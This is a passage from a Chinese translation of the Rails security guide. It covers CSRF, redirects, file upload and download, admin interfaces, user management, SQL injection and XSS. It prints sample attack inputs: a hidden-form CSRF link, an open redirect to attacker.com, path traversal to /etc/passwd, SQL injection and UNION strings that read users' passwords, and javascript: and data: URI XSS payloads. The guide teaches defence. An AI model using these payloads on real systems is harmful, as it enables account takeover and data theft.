POST 请求也可以自动发送。在下面的例子中,链接 www.harmless.com 在浏览器状态栏中显示为目标地址,实际上却动态新建了一个发送 POST 请求的表单:

+
+<a href="http://www.harmless.com/" onclick="
+  var f = document.createElement('form');
+  f.style.display = 'none';
+  this.parentNode.appendChild(f);
+  f.method = 'POST';
+  f.action = 'http://www.example.com/account/destroy';
+  f.submit();
+  return false;">To the harmless survey</a>
+
+
+
+

攻击者还可以把代码放在图片的 onmouseover 事件句柄中:

+
+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
+
+
+
+

CSRF 还有很多可能的攻击方式,例如使用 <script> 标签向返回 JSONP 或 JavaScript 的 URL 地址发起跨站请求。对跨站请求的响应,返回的如果是攻击者可以设法运行的可执行代码,就有可能导致敏感数据泄露。为了避免发生这种情况,必须禁用跨站 <script> 标签。不过 Ajax 请求是遵循同源原则的(只有在同一个网站中才能初始化 XmlHttpRequest),因此在响应 Ajax 请求时返回 JavaScript 是安全的,不必担心跨站请求问题。

注意:我们无法区分 <script> 标签的来源,无法知道这个标签是自己网站上的,还是其他恶意网站上的,因此我们必须全面禁止 <script> 标签,哪怕这个标签实际上来源于自己网站上的安全的同源脚本。在这种情况下,对于返回 JavaScript 的控制器动作,显式跳过 CSRF 保护,就意味着允许使用 <scipt> 标签。

为了防止其他各种伪造请求,我们引入了安全令牌,这个安全令牌只有我们自己的网站知道,其他网站不知道。我们把安全令牌包含在请求中,并在服务器上进行验证。安全令牌在应用的控制器中使用下面这行代码设置,这也是新建 Rails 应用的默认值:

+
+protect_from_forgery with: :exception
+
+
+
+

这行代码会在 Rails 生成的所有表单和 Ajax 请求中包含安全令牌。如果安全令牌验证失败,就会抛出异常。

默认情况下,Rails 会包含 jQuery 和 jQuery 非侵入式适配器,后者会在 jQuery 的每个非 GET Ajax 调用中添加名为 X-CSRF-Token 的首部,其值为安全令牌。如果没有这个首部,Rails 不会接受非 GET Ajax 请求。使用其他库调用 Ajax 时,同样要在默认首部中添加 X-CSRF-Token。要想获取令牌,请查看应用视图中由 <%= csrf_meta_tags %> 这行代码生成的 <meta name='csrf-token' content='THE-TOKEN'> 标签。

通常我们会使用持久化 cookie 来储存用户信息,例如使用 cookies.permanent。在这种情况下,cookie 不会被清除,CSRF 保护也无法自动生效。如果使用其他 cookie 存储器而不是会话来保存用户信息,我们就必须手动解决这个问题:

+
+rescue_from ActionController::InvalidAuthenticityToken do |exception|
+  sign_out_user # 删除用户 cookie 的示例方法
+end
+
+
+
+

这段代码可以放在 ApplicationController 中。对于非 GET 请求,如果 CSRF 令牌不存在或不正确,就会执行这段代码。

注意,跨站脚本(XSS)漏洞能够绕过所有 CSRF 保护措施。攻击者通过 XSS 可以访问页面中的所有元素,也就是说攻击者可以读取表单中的 CSRF 安全令牌,也可以直接提交表单。更多介绍请参阅 跨站脚本(XSS)

4 重定向和文件

另一类安全漏洞由 Web 应用中的重定向和文件引起。

4.1 重定向

Web 应用中的重定向是一个被低估的黑客工具:攻击者不仅能够把用户的访问跳转到恶意网站,还能够发起独立攻击。

只要允许用户指定 URL 重定向地址(或其中的一部分),就有可能造成风险。最常见的攻击方式是,把用户重定向到假冒的 Web 应用,这个假冒的 Web 应用看起来和真的一模一样。这就是所谓的钓鱼攻击。攻击者发动钓鱼攻击时,或者给用户发送包含恶意链接的邮件,或者通过 XSS 在 Web 应用中注入恶意链接,或者把恶意链接放入其他网站。这些恶意链接一般不会引起用户的怀疑,因为它们以正常的网站 URL 开头,而把恶意网站的 URL 隐藏在重定向参数中,例如 http://www.example.com/site/redirect?to=www.attacker.com。让我们来看一个例子:

+
+def legacy
+  redirect_to(params.update(action:'main'))
+end
+
+
+
+

如果用户访问 legacy 动作,就会被重定向到 main 动作,同时传递给 legacy 动作的 URL 参数会被保留并传递给 main 动作。然而,攻击者通过在 URL 地址中包含 host 参数就可以发动攻击:

+
+http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
+
+
+
+

如果 host 参数出现在 URL 地址末尾,将很难被注意到,从而会把用户重定向到 www.attacker.com 这个恶意网站。一个简单的对策是,在 legacy 动作中只保留所期望的参数(使用白名单,而不是去删除不想要的参数)。对于用户指定的重定向 URL 地址,应该通过白名单或正则表达式进行检查。

4.1.1 独立的 XSS

在 Firefox 和 Opera 浏览器中,通过使用 data 协议,还能发起另一种重定向和独立 XSS 攻击。data 协议允许把内容直接显示在浏览器中,支持的类型包括 HTML、JavaScript 和图像,例如:

+
+data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
+
+
+
+

这是一段使用 Base64 编码的 JavaScript 代码,运行后会显示一个消息框。通过这种方式,攻击者可以使用恶意代码把用户重定向到恶意网站。为了防止这种攻击,我们的对策是禁止用户指定 URL 重定向地址。

4.2 文件上传

请确保文件上传时不会覆盖重要文件,同时对于媒体文件应该采用异步上传方式。

很多 Web 应用都允许用户上传文件。由于文件名通常由用户指定(或部分指定),必须对文件名进行过滤,以防止攻击者通过指定恶意文件名覆盖服务器上的文件。如果我们把上传的文件储存在 /var/www/uploads 文件夹中,而用户输入了类似 ../../../etc/passwd 的文件名,在没有对文件名进行过滤的情况下,passwd 这个重要文件就有可能被覆盖。当然,只有在 Ruby 解析器具有足够权限时文件才会被覆盖,这也是不应该使用 Unix 特权用户运行 Web 服务器、数据库服务器和其他应用的原因之一。

在过滤用户输入的文件名时,不要去尝试删除文件名的恶意部分。我们可以设想这样一种情况,Web 应用把文件名中所有的 ../ 都删除了,但攻击者使用的是 ....//,于是过滤后的文件名中仍然包含 ../。最佳策略是使用白名单,只允许在文件名中使用白名单中的字符。黑名单的做法是尝试删除禁止使用的字符,白名单的做法恰恰相反。对于无效的文件名,可以直接拒绝(或者把禁止使用的字符都替换掉),但不要尝试删除禁止使用的字符。下面这个文件名净化程序摘自 attachment_fu 插件:

+
+def sanitize_filename(filename)
+  filename.strip.tap do |name|
+    # NOTE: File.basename doesn't work right with Windows paths on Unix
+    # get only the filename, not the whole path
+    name.sub! /\A.*(\\|\/)/, ''
+    # Finally, replace all non alphanumeric, underscore
+    # or periods with underscore
+    name.gsub! /[^\w\.\-]/, '_'
+  end
+end
+
+
+
+

通过同步方式上传文件(attachment_fu 插件也能用于上传图像)的一个明显缺点是,存在受到拒绝服务攻击(denial-of-service,简称 DoS)的风险。攻击者可以通过很多计算机同时上传图像,这将导致服务器负载增加,并最终导致应用崩溃或服务器宕机。

最佳解决方案是,对于媒体文件采用异步上传方式:保存媒体文件,并通过数据库调度程序处理请求。由另一个进程在后台完成文件上传。

4.3 上传文件中的可执行代码

如果把上传的文件储存在某些特定的文件夹中,文件中的源代码就有可能被执行。因此,如果 Rails 应用的 /public 文件夹被设置为 Apache 的主目录,请不要在这个文件夹中储存上传的文件。

流行的 Apache Web 服务器的配置文件中有一个名为 DocumentRoot 的选项,用于指定网站的主目录。主目录及其子文件夹中的所有内容都由 Web 服务器直接处理。如果其中包含一些具有特定扩展名的文件,就能够通过 HTTP 请求执行这些文件中的代码(可能还需要设置一些选项),例如 PHP 和 CGI 文件。假设攻击者上传了 file.cgi 文件,其中包含可执行代码,那么之后有人下载这个文件时,里面的代码就会在服务器上执行。

如果 Apache 的 DocumentRoot 选项指向 Rails 的 /public 文件夹,请不要在其中储存上传的文件,至少也应该储存在子文件夹中。

4.4 文件下载

请确保用户不能随意下载文件。

正如在上传文件时必须过滤文件名,在下载文件时也必须进行过滤。send_file() 方法用于把服务器上的文件发送到客户端。如果传递给 send_file() 方法的文件名参数是由用户输入的,却没有进行过滤,用户就能够下载服务器上的任何文件:

+
+send_file('/var/www/uploads/' + params[:filename])
+
+
+
+

可以看到,只要指定 ../../../etc/passwd 这样的文件名,用户就可以下载服务器登录信息。对此,一个简单的解决方案是,检查所请求的文件是否在规定的文件夹中:

+
+basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+filename = File.expand_path(File.join(basename, @file.public_filename))
+raise if basename !=
+     File.expand_path(File.join(File.dirname(filename), '../../../'))
+send_file filename, disposition: 'inline'
+
+
+
+

另一个(附加的)解决方案是在数据库中储存文件名,并以数据库中的记录 ID 作为文件名,把文件保存到磁盘。这样做还能有效防止上传的文件中的代码被执行。attachment_fu 插件的工作原理类似。

5 局域网和管理界面的安全

由于具有访问特权,局域网和管理界面成为了常见的攻击目标。因此理应为它们采取多种安全防护措施,然而实际情况却不理想。

2007 年,第一个在局域网中窃取信息的专用木马出现了,它的名字叫“员工怪兽”(Monster for employers),用于攻击在线招聘网站 Monster.com。专用木马非常少见,迄今为止造成的安全风险也相当低,但这种攻击方式毕竟是存在的,说明客户端的安全问题不容忽视。然而,对局域网和管理界面而言,最大的安全威胁来自 XSS 和 CSRF。

XSS

如果在应用中显示了来自外网的恶意内容,应用就有可能受到 XSS 攻击。例如用户名、用户评论、垃圾信息报告、订单地址等等,都有可能受到 XSS攻击。

在局域网和管理界面中,只要有一个地方没有对输入进行过滤,整个应用就有可能受到 XSS 攻击。可能发生的攻击包括:窃取具有特权的管理员的 cookie、注入 iframe 以窃取管理员密码,以及通过浏览器漏洞安装恶意软件以控制管理员的计算机。

关于 XSS 攻击的对策,请参阅 注入攻击。在局域网和管理界面中同样推荐使用 SafeErb 插件。

CSRF

跨站请求伪造(CSRF),也称为跨站引用伪造(XSRF),是一种破坏性很强的攻击方法,它允许攻击者完成管理员或局域网用户可以完成的一切操作。前文我们已经介绍过 CSRF 的工作原理,下面是攻击者针对局域网和管理界面发动 CSRF 攻击的几个例子。

一个真实的案例是通过 CSRF 攻击重新设置路由器。攻击者向墨西哥用户发送包含 CSRF 代码的恶意电子邮件。邮件声称用户收到了一张电子贺卡,其中包含一个能够发起 HTTP GET 请求的图像标签,以便重新设置用户的路由器(针对一款在墨西哥很常见的路由器)。攻击改变了路由器的 DNS 设置,当用户访问墨西哥境内银行的网站时,就会被带到攻击者的网站。通过受攻击的路由器访问银行网站的所有用户,都会被带到攻击者的假冒网站,最终导致用户的网银账号失窍。

另一个例子是修改 Google Adsense 账户的电子邮件和密码。一旦受害者登录 Google Adsense,打算对自己投放的 Google 广告进行管理,攻击者就能够趁机修改受害者的登录信息。

还有一种常见的攻击方式是在 Web 应用中大量发布垃圾信息,通过博客、论坛来传播 XSS 恶意脚本。当然,攻击者还得知道 URL 地址的结构才能发动攻击,但是大多数 Rails 应用的 URL 地址结构都很简单,很容易就能搞清楚,对于开源应用的管理界面更是如此。通过包含恶意图片标签,攻击者甚至可以进行上千次猜测,把 URL 地址结构所有可能的组合都尝试一遍。

关于针对局域网和管理界面发动的 CSRF 攻击的对策,请参阅 CSRF 对策

5.1 其他预防措施

通用管理界面的一般工作原理如下:通过 www.example.com/admin 访问,访问仅限于 User 模型的 admin 字段设置为 true 的用户。管理界面中会列出用户输入的数据,管理员可以根据需要对数据进行删除、添加或修改。下面是关于管理界面的一些参考意见:

+
    +
  • 考虑最坏的情况非常重要:如果有人真的得到了用户的 cookie 或账号密码怎么办?可以为管理界面引入用户角色权限设计,以限制攻击者的权限。或者为管理界面启用特殊的登录账号密码,而不采用应用的其他部分所使用的账号密码。对于特别重要的操作,还可以要求用户输入专用密码。

  • +
  • 管理员真的有可能从世界各地访问管理界面吗?可以考虑对登录管理界面的 IP 段进行限制。用户的 IP 地址可以通过 request.remote_ip 获取。这个解决方案虽然不能说万无一失,但确实为管理界面筑起了一道坚实的防线。不过在实际操作中,还要注意用户是否使用了代理服务器。

  • +
  • 通过专用子域名访问管理界面,如 admin.application.com,并为管理界面建立独立的应用和账户系统。这样,攻击者就无法从日常使用的域名(如 www.application.com)中窃取管理员的 cookie。其原理是:基于浏览器的同源原则,在 www.application.com 中注入的 XSS 脚本,无法读取 admin.application.com 的 cookie,反之亦然。

  • +
+

6 用户管理

几乎每个 Web 应用都必须处理授权和身份验证。自己实现这些功能并非首选,推荐的做法是使用插件。但在使用插件时,一定要记得及时更新。此外,还有一些预防措施可以使我们的应用更安全。

Rails 有很多可用的身份验证插件,其中有不少佳作,例如 deviseauthlogic。这些插件只储存加密后的密码,而不储存明文密码。从 Rails 3.1 起,我们可以使用实现了类似功能的 has_secure_password 内置方法。

每位新注册用户都会收到一封包含激活码和激活链接的电子邮件,以便激活账户。账户激活后,该用户的数据库记录的 activation_code 字段会被设置为 NULL。如果有人访问了下列 URL 地址,就有可能以数据库中找到的第一个已激活用户的身份登录(有可能是管理员):

+
+http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=
+
+
+
+

之所以出现这种可能性,是因为对于某些服务器,ID 参数 params[:id] 的值是 nil,而查找激活码的代码如下:

+
+User.find_by_activation_code(params[:id])
+
+
+
+

当 ID 参数为 nil 时,生成的 SQL 查询如下:

+
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+
+
+
+

因此,查询结果是数据库中的第一个已激活用户,随后将以这个用户的身份登录。关于这个问题的更多介绍,请参阅这篇博客文章。在使用插件时,建议及时更新。此外,通过代码审查可以找出应用的更多类似缺陷。

6.1 暴力破解账户

对账户的暴力攻击是指对登录的账号密码进行试错攻击。通过显示较为模糊的错误信息、要求输入验证码等方式,可以增加暴力破解的难度。

Web 应用的用户名列表有可能被滥用于暴力破解密码,因为大多数用户并没有使用复杂密码。大多数密码是字典中的单词组合,或单词和数字的组合。有了用户名列表和字典,自动化程序在几分钟内就可能找到正确密码。

因此,如果登录时用户名或密码不正确,大多数 Web 应用都会显示较为模糊的错误信息,如“用户名或密码不正确”。如果提示“未找到您输入的用户名”,攻击者就可以根据错误信息,自动生成精简后的有效用户名列表,从而提高攻击效率。

不过,容易被大多数 Web 应用设计者忽略的,是忘记密码页面。通过这个页面,通常能够确认用户名或电子邮件地址是否有效,攻击者可以据此生成用于暴力破解的用户名列表。

为了规避这种攻击,忘记密码页面也应该显示较为模糊的错误信息。此外,当某个 IP 地址多次登录失败时,可以要求输入验证码。但是要注意,这并非防范自动化程序的万无一失的解决方案,因为这些程序可能会频繁更换 IP 地址,不过毕竟还是筑起了一道防线。

6.2 账户劫持

对很多 Web 应用来说,实施账户劫持是一件很容易的事情。既然这样,为什么不尝试改变,想办法增加账户劫持的难度呢?

6.2.1 密码

假设攻击者窃取了用户会话的 cookie,从而能够像用户一样使用应用。此时,如果修改密码很容易,攻击者只需点击几次鼠标就能劫持该账户。另一种可能性是,修改密码的表单容易受到 CSRF 攻击,攻击者可以诱使受害者访问包含精心设计的图像标签的网页,通过 CSRF 窃取密码。针对这种攻击的对策是,在修改密码的表单中加入 CSRF 防护,同时要求用户在修改密码时先输入旧密码。

6.2.2 电子邮件

然而,攻击者还能通过修改电子邮件地址来劫持账户。一旦攻击者修改了账户的电子邮件地址,他们就会进入忘记密码页面,通过新邮件地址接收找回密码邮件。针对这种攻击的对策是,要求用户在修改电子邮件地址时同样先输入旧密码。

6.2.3 其他

针对不同的 Web 应用,还可能存在更多的劫持用户账户的攻击方式。这些攻击方式大都借助于 CSRF 和 XSS,例如 Gmail 的 CSRF 漏洞。在这种概念验证攻击中,攻击者诱使受害者访问自己控制的网站,其中包含了精心设计的图像标签,然后通过 HTTP GET 请求修改 Gmail 的过滤器设置。如果受害者已经登录了 Gmail,攻击者就能通过修改后的过滤器把受害者的所有电子邮件转发到自己的电子邮件地址。这种攻击的危害性几乎和劫持账户一样大。针对这种攻击的对策是,通过代码审查封堵所有 XSS 和 CSRF 漏洞。

6.3 验证码

验证码是一种质询-响应测试,用于判断响应是否由计算机生成。验证码要求用户输入变形图片中的字符,以防恶意注册和发布垃圾评论。验证码又分为积极验证码和消极验证码。消极验证码的思路不是证明用户是人类,而是证明机器人是机器人。

reCAPTCHA 是一种流行的积极验证码 API,它会显示两张来自古籍的单词的变形图像,同时还添加了弯曲的中划线。相比之下,早期的验证码仅使用了扭曲的背景和高度变形的文本,所以后来被破解了。此外,使用 reCAPTCHA 同时是在为古籍数字化作贡献。和 reCAPTCHA API 同名的 reCAPTCHA 是一个 Rails 插件。

reCAPTCHA API 提供了公钥和私钥两个密钥,它们应该在 Rails 环境中设置。设置完成后,我们就可以在视图中使用 recaptcha_tags 方法,在控制器中使用 verify_recaptcha 方法。如果验证码验证失败,verify_recaptcha 方法返回 false。验证码的缺点是影响用户体验。并且对于视障用户,有些变形的验证码难以看清。尽管如此,积极验证码仍然是防止各种机器人提交表单的最有效的方法之一。

大多数机器人都很笨拙,它们在网上爬行,并在找到的每一个表单字段中填入垃圾信息。消极验证码正是利用了这一点,只要通过 JavaScript 或 CSS 在表单中添加隐藏的“蜜罐”字段,就能发现那些机器人。

注意,消极验证码只能有效防范笨拙的机器人,对于那些针对关键应用的专用机器人就力不从心了。不过,通过组合使用消极验证码和积极验证码,可以获得更好的性能表现。例如,如果“蜜罐”字段不为空(发现了机器人),再验证积极验码就没有必要了,从而避免了向 Google ReCaptcha 发起 HTTPS 请求。

通过 JavaScript 或 CSS 隐藏“蜜罐”字段有下面几种思路:

+
    +
  • 把字段置于页面的可见区域之外;

  • +
  • 使元素非常小或使它们的颜色与页面背景相同;

  • +
  • 仍然显示字段,但告诉用户不要填写。

  • +
+

最简单的消极验证码是一个隐藏的“蜜罐”字段。在服务器端,我们需要检查这个字段的值:如果包含任何文本,就说明请求来自机器人。然后,我们可以直接忽略机器人提交的表单数据。也可以提示保存成功但实际上并不写入数据库,这样被愚弄的机器人就会自动离开了。对于不受欢迎的用户,也可以采取类似措施。

Ned Batchelder 在一篇博客文章中介绍了更复杂的消极验证码:

+
    +
  • 在表单中包含带有当前 UTC 时间戳的字段,并在服务器端检查这个字段。无论字段中的时间过早还是过晚,都说该明表单不合法;

  • +
  • 随机生成字段名;

  • +
  • 包含各种类型的多个“蜜罐”字段,包括提交按钮。

  • +
+

注意,消极验证码只能防范自动机器人,而不能防范专用机器人。因此,消极验证码并非保护登录表单的最佳方案。

6.4 日志

告诉 Rails 不要把密码写入日志。

默认情况下,Rails 会记录 Web 应用收到的所有请求。但是日志文件也可能成为巨大的安全隐患,因为其中可能包含登录的账号密码、信用卡号码等。当我们考虑 Web 应用的安全性时,我们应该设想攻击者完全获得 Web 服务器访问权限的情况。如果在日志文件中可以找到密钥和密码的明文,在数据库中对这些信息进行加密就变得毫无意义。在应用配置文件中,我们可以通过设置 config.filter_parameters 选项,指定写入日志时需要过滤的请求参数。在日志中,这些被过滤的参数会显示为 [FILTERED]

+
+config.filter_parameters << :password
+
+
+
+

通过正则表达式,与配置中指定的参数部分匹配的所有参数都会被过滤掉。默认情况下,Rails 已经在初始化脚本(initializers/filter_parameter_logging.rb)中指定了 :password 参数,因此应用中常见的 passwordpassword_confirmation 参数都会被过滤。

6.5 好的密码

你是否发现,要想记住所有密码太难了?请不要因此把所有密码都完整地记下来,我们可以使用容易记住的句子中单词的首字母作为密码。

安全技术专家 Bruce Schneier 通过分析后文提到的 MySpace 钓鱼攻击中 34,000 个真实的用户名和密码,发现绝大多数密码非常容易破解。其中最常见的 20 个密码是:

+
+password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, monkey
+
+
+
+

有趣的是,这些密码中只有 4% 是字典单词,绝大多数密码实际是由字母和数字组成的。不过,用于破解密码的字典中包含了大量目前常用的密码,而且攻击者还会尝试各种字母数字的组合。如果我们使用弱密码,一旦攻击者知道了我们的用户名,就能轻易破解我们的账户。

好的密码是混合使用大小写字母和数字的长密码。但这样的密码很难记住,因此我们可以使用容易记住的句子中单词的首字母作为密码。例如,“The quick brown fox jumps over the lazy dog”对应的密码是“Tqbfjotld”。当然,这里只是举个例子,实际在选择密码时不应该使用这样的名句,因为用于破解密码的字典中很可能包含了这些名句对应的密码。

6.6 正则表达式

在使用 Ruby 的正则表达式时,一个常见错误是使用 ^$ 分别匹配字符串的开头和结尾,实际上正确的做法是使用 \A\z

Ruby 的正则表达式匹配字符串开头和结尾的方式与很多其他语言略有不同。甚至很多 Ruby 和 Rails 的书籍都把这个问题搞错了。那么,为什么这个问题会造成安全威胁呢?让我们看一个例子。如果想要不太严谨地验证 URL 地址,我们可以使用下面这个简单的正则表达式:

+
+/^https?:\/\/[^\n]+$/i
+
+
+
+

这个正则表达式在某些语言中可以正常工作,但在 Ruby 中,^$ 分别匹配行首和行尾,因此下面这个 URL 能够顺利通过验证:

+
+javascript:exploit_code();/*
+http://hi.com
+*/
+
+
+
+

之所以能通过验证,是因为用于验证的正则表达式匹配了这个 URL 的第二行,因而不会再验证其他两行。假设我们在视图中像下面这样显示 URL:

+
+link_to "Homepage", @user.homepage
+
+
+
+

这个链接看起来对访问者无害,但只要一点击,就会执行 exploit_code 这个 JavaScript 函数或攻击者提供的其他 JavaScript 代码。

要想修正这个正则表达式,我们可以用 \A\z 分别代替 ^$,即:

+
+/\Ahttps?:\/\/[^\n]+\z/i
+
+
+
+

由于这是一个常见错误,Rails 已经采取了预防措施,如果提供的正则表达式以 ^ 开头或以 $ 结尾,格式验证器(validates_format_of)就会抛出异常。如果确实需要用 ^$ 代替 \A\z(这种情况很少见),我们可以把 :multiline 选项设置为 true,例如:

+
+# content 字符串应包含“Meanwhile”这样一行
+validates :content, format: { with: /^Meanwhile$/, multiline: true }
+
+
+
+

注意,这种方式只能防止格式验证中的常见错误,在 Ruby 中,我们需要时刻记住,^$ 分别匹配行首和行尾,而不是整个字符串的开头和结尾。

6.7 提升权限

只需纂改一个参数,就有可能使用户获得未经授权的权限。记住,不管我们如何隐藏或混淆,每一个参数都有可能被纂改。

用户最常篡改的参数是 ID,例如在 http://www.domain.com/project/1 这个 URL 地址中,ID 是 1。在控制器中可以通过 params 得到这个 ID,通常的操作如下:

+
+@project = Project.find(params[:id])
+
+
+
+

对于某些 Web 应用,这样做没问题。但如果用户不具有查看所有项目的权限,就不能这样做。否则,如果某个用户把 URL 地址中的 ID 改为 42,并且该用户没有查看这个项目的权限,结果却仍然能够查看项目。为此,我们需要同时查询用户的访问权限:

+
+@project = @current_user.projects.find(params[:id])
+
+
+
+

对于不同的 Web 应用,用户能够纂改的参数也不同。根据经验,未经验证的用户输入都是不安全的,来自用户的参数都有被纂改的潜在风险。

通过混淆参数或 JavaScript 来实现安全性一点儿也不可靠。通过 Mozilla Firefox 的 Web 开发者工具栏,我们可以查看和修改表单的隐藏字段。JavaScript 常用于验证用户输入的数据,但无法防止攻击者发送带有不合法数据的恶意请求。Mozilla Firefox 的 Live Http Headers 插件,可以记录每次请求,而且可以重复发起并修改这些请求,这样就能轻易绕过 JavaScript 验证。还有一些客户端代理,允许拦截进出的任何网络请求和响应。

7 注入攻击

注入这种攻击方式,会把恶意代码或参数写入 Web 应用,以便在应用的安全上下文中执行。注入攻击最著名的例子是跨站脚本(XSS)和 SQL 注入攻击。

注入攻击非常复杂,因为相同的代码或参数,在一个上下文中可能是恶意的,但在另一个上下文中可能完全无害。这里的上下文指的是脚本、查询或编程语言,Shell 或 Ruby/Rails 方法等等。下面几节将介绍可能发生注入攻击的所有重要场景。不过第一节我们首先要介绍,面对注入攻击时如何进行综合决策。

7.1 白名单 vs 黑名单

对于净化、保护和验证操作,白名单优于黑名单。

黑名单可以包含垃圾电子邮件地址、非公开的控制器动作、造成安全威胁的 HTML 标签等等。与此相反,白名单可以包含可靠的电子邮件地址、公开的控制器动作、安全的 HTML 标签等等。尽管有些情况下我们无法创建白名单(例如在垃圾信息过滤器中),但只要有可能就应该优先使用白名单:

+
    +
  • 对于安全相关的控制器动作,在 before_action 选项中用 except: […​] 代替 only: […​],这样就不会忘记为新建动作启用安全检查;

  • +
  • 为防止跨站脚本(XSS)攻击,应允许使用 <strong> 标签,而不是去掉 <script> 标签,详情请参阅后文;

  • +
  • +

    不要尝试通过黑名单来修正用户输入:

    +
      +
    • 否则攻击者可以发起 "<sc<script>ript>".gsub("<script>", "") 这样的攻击;
    • +
    • 对于非法输入,直接拒绝即可。
    • +
    +
  • +
+

使用黑名单时有可能因为人为因素造成遗漏,使用白名单则能有效避免这种情况。

7.2 SQL 注入

Rails 为我们提供的方法足够智能,绝大多数情况下都能防止 SQL 注入。但对 Web 应用而言,SQL 注入是常见并具有毁灭性的攻击方式,因此了解这种攻击方式十分重要。

7.2.1 简介

SQL 注入攻击的原理是,通过纂改传入 Web 应用的参数来影响数据库查询。SQL 注入攻击的一个常见目标是绕过授权,另一个常见目标是执行数据操作或读取任意数据。下面的例子说明了为什么要避免在查询中使用用户输入的数据:

+
+Project.where("name = '#{params[:name]}'")
+
+
+
+

这个查询可能出现在搜索动作中,用户会输入想要查找的项目名称。如果恶意用户输入 ' OR 1 --,将会生成下面的 SQL 查询:

+
+SELECT * FROM projects WHERE name = '' OR 1 --'
+
+
+
+

其中 -- 表示注释开始,之后的所有内容都会被忽略。执行这个查询后,将返回项目数据表中的所有记录,也包括当前用户不应该看到的记录,原因是所有记录都满足查询条件。

7.2.2 绕过授权

通常 Web 应用都包含访问控制。用户输入登录的账号密码,Web 应用会尝试在用户数据表中查找匹配的记录。如果找到了,应用就会授权用户登录。但是,攻击者通过 SQL 注入,有可能绕过这项检查。下面的例子是 Rails 中一个常见的数据库查询,用于在用户数据表中查找和用户输入的账号密码相匹配的第一条记录。

+
+User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
+
+
+
+

如果攻击者输入 ' OR '1'='1 作为用户名,输入 ' OR '2'>'1 作为密码,将会生成下面的 SQL 查询:

+
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
+
+
+
+

执行这个查询后,会返回用户数据表的第一条记录,并授权用户登录。

7.2.3 未经授权读取数据

UNION 语句用于连接两个 SQL 查询,并以集合的形式返回查询结果。攻击者利用 UNION 语句,可以从数据库中读取任意数据。还以前文的这个例子来说明:

+
+Project.where("name = '#{params[:name]}'")
+
+
+
+

通过 UNION 语句,攻击者可以注入另一个查询:

+
+') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+
+
+
+

结果会生成下面的 SQL 查询:

+
+SELECT * FROM projects WHERE (name = '') UNION
+  SELECT id,login AS name,password AS description,1,1,1 FROM users --'
+
+
+
+

执行这个查询得到的结果不是项目列表(因为不存在名称为空的项目),而是用户名密码的列表。如果发生这种情况,我们只能祈祷数据库中的用户密码都加密了!攻击者需要解决的唯一问题是,两个查询中字段的数量必须相等,本例中第二个查询中的多个 1 正是为了解决这个问题。

此外,第二个查询还通过 AS 语句对某些字段进行了重命名,这样 Web 应用就会显示从用户数据表中查询到的数据。出于安全考虑,请把 Rails 升级至 2.1.1 或更高版本

7.2.4 对策

Ruby on Rails 内置了针对特殊 SQL 字符的过滤器,用于转义 '"NULL 和换行符。当我们使用 Model.find(id)Model.find_by_something(something) 方法时,Rails 会自动应用这个过滤器。但在 SQL 片段中,尤其是在条件片段(where("…​"))中,需要为 connection.execute()Model.find_by_sql() 方法手动应用这个过滤器。

为了净化受污染的字符串,在提供查询条件的选项时,我们应该传入数组而不是直接传入字符串:

+
+Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
+
+
+
+

如上所示,数组的第一个元素是包含问号的 SQL 片段,从第二个元素开始都是需要净化的变量,净化后的变量值将用于代替 SQL 片段中的问号。我们也可以传入散列来实现相同效果:

+
+Model.where(login: entered_user_name, password: entered_password).first
+
+
+
+

只有在模型实例上,才能通过数组或散列指定查询条件。对于其他情况,我们可以使用 sanitize_sql() 方法。遇到需要在 SQL 中使用外部字符串的情况时,请养成考虑安全问题的习惯。

7.3 跨站脚本(XSS)

对 Web 应用而言,XSS 是影响范围最广、破坏性最大的安全漏洞。这种恶意攻击方式会在客户端注入可执行代码。Rails 提供了防御这种攻击的辅助方法。

7.3.1 切入点

存在安全风险的 URL 及其参数,是攻击者发动攻击的切入点。

最常见的切入点包括帖子、用户评论和留言本,但项目名称、文档名称和搜索结果同样存在安全风险,实际上凡是用户能够输入信息的地方都存在安全风险。而且,输入不仅来自网站上的输入框,也可能来自 URL 参数(公开参数、隐藏参数或内部参数)。记住,用户有可能拦截任何通信。通过 Firefox 的 Live HTTP Headers 插件这样的工具或者客户端代理,用户可以轻易修改请求数据。

XSS 攻击的工作原理是:攻击者注入代码,Web 应用保存并在页面中显示这些代码,受害者访问包含恶意代码的页面。本文给出的 XSS 示例大多数只是显示一个警告框,但 XSS 的威力实际上要大得多。XSS 可以窃取 cookie、劫持会话、把受害者重定向到假冒网站、植入攻击者的赚钱广告、纂改网站元素以窃取登录用户名和密码,以及通过 Web 浏览器的安全漏洞安装恶意软件。

仅 2007 年下半年,在 Mozilla 浏览器中就发现了 88 个安全漏洞,Safari 浏览器 22 个, IE 浏览器 18个, Opera 浏览器 12个。赛门铁克《互联网安全威胁报告》指出,仅 2007 年下半年,在浏览器插件中就发现了 239 个安全漏洞。Mpack 这个攻击框架非常活跃、经常更新,其作用是利用这些漏洞发起攻击。对于那些从事网络犯罪的黑客而言,利用 Web 应用框架中的 SQL 注入漏洞,在数据表的每个文本字段中插入恶意代码是非常有吸引力的。2008 年 4 月,超过 51 万个网站遭到了这类攻击,其中包括英国政府、联合国和其他一些重要网站。

横幅广告是相对较新、不太常见的切入点。趋势科技指出,2008年早些时候,在流行网站(如 MySpace 和 Excite)的横幅广告中出现了恶意代码。

7.3.2 HTML / JavaScript 注入

XSS 最常用的语言非 JavaScript (最受欢迎的客户端脚本语言)莫属,并且经常与 HTML 结合使用。因此,对用户输入进行转义是必不可少的安全措施。

让我们看一个 XSS 的例子:

+
+<script>alert('Hello');</script>
+
+
+
+

这行 JavaScript 代码仅仅显示一个警告框。下面的例子作用完全相同,只不过其用法不太常见:

+
+<img src=javascript:alert('Hello')>
+<table background="javascript:alert('Hello')">
+
+
+
+
7.3.2.1 窃取 cookie

